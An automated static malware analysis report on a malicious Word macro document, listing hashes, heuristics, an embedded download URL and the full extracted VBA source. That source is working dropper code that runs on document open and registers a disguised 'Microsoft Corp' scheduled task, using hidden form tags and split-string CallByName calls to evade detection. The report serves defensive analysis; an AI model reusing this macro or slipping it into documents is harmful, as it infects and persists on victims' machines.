Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb66ebb95a3dceca…

MALICIOUS

Office (OLE)

71.0 KB Created: 2018-11-12 10:24:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: b811a63eaa3f6a76d4176a64655c086f SHA-1: 45f3b9f49d4c680de6fdede99427289a11317aa0 SHA-256: eb66ebb95a3dcecae64c61f611a9332fbf460d1b8039d3ab7e4f220104a4bec4
310 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. It uses a common lure to trick users into enabling macros, which then likely execute a payload. The presence of references to PowerShell and Windows Script Host, along with the embedded URL, suggests the macro is designed to download and execute additional malicious content. The VBA code also contains logic for creating scheduled tasks, indicating an attempt at persistence.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6854122-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6854122-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    bbs = crysler.Label1.Tag
    CallByName DoBas, "Ar" + "guments", VbLet, aas
    Dim comodostar800 As String
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
    Dim comodostar20 As Object
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://offficebox.com/host32 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3506 bytes
SHA-256: 2dace305a5471b1f95eea4e1764bd1238cbf8f3a64825eaa13556ab245e3d0c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Sub SubNever()
Dim comodostar21 As Object
Dim comodostar23 As Object
Dim comodostar2 As Object
Dim comodostar25 As Object
Dim comodostar26 As Object
Dim comodostar29 As Object
Dim comodostar20 As Object
Dim comodostar27 As Object
Dim comodostar211 As Object
Dim comodostar212 As Object

Dim comodostar24 As Object
Dim comodostar234 As Object









Const TriggerTypeTime = 1

Const ate = 0

Dim service


Set service = CreateObject("Schedule.Service")
Call service.Connect



Dim rootFolder
Set rootFolder = service.GetFolder("\")


Dim taskDefinition

Set taskDefinition = service.NewTask(0)






Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Start update process at a certain time"
regInfo.Author = "Microsoft Corp"



Dim principal
Set principal = taskDefinition.principal


principal.LogonType = 3

Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False



Dim triggers
Set triggers = taskDefinition.triggers

Dim whySoN
Set whySoN = triggers.Create(TriggerTypeTime)


Dim startTime, endTime

Dim time
time = DateAdd("s", 21, Now)
startTime = XmlTime(time)

time = DateAdd("n", 27, Now)
endTime = XmlTime(time)


whySoN.StartBoundary = startTime
whySoN.EndBoundary = endTime
whySoN.ExecutionTimeLimit = "PT5M"
whySoN.ID = "TimeTriggerId"
whySoN.Enabled = True





Dim DoBas As Object

Set DoBas = taskDefinition.Actions.Create(ate)
Dim aas As String
aas = crysler.Tag

Dim bbs As String
bbs = crysler.Label1.Tag
CallByName DoBas, "Ar" + "guments", VbLet, aas
Dim comodostar800 As String

CallByName DoBas, "Pa" + "th", VbLet, bbs

comodostar800 = "Dim comodostar800 As String"

Call rootFolder.RegisterTaskDefinition( _
    "Updater on time 12", taskDefinition, 6, , , 3)



Dim comodostar28 As Object
End Sub







Sub Document_Open()
Dim comodostar20 As Object
Dim comodostar27 As Object
Dim comodostar211 As Object
Dim comodostar212 As Object
Application.Run crysler.Label3.Tag
Dim comodostar25 As Object
Dim comodostar26 As Object
Dim comodostar29 As Object
ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges
Application.Quit
End Sub







Function XmlTime(t)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(t)
    cMinute = "0" & Minute(t)
    CHour = "0" & Hour(t)
    cDay = "0" & Day(t)
    cMonth = "0" & Month(t)
    cYear = Year(t)

    tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
        ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    XmlTime = tDate & "T" & tTime
End Function

Attribute VB_Name = "crysler"
Attribute VB_Base = "0{8F68C29D-7872-4665-839B-1AE99F466A09}{EA625609-A395-4F59-A578-92060C03B36B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label4_Click()

End Sub

Private Sub UserForm_Click()

End Sub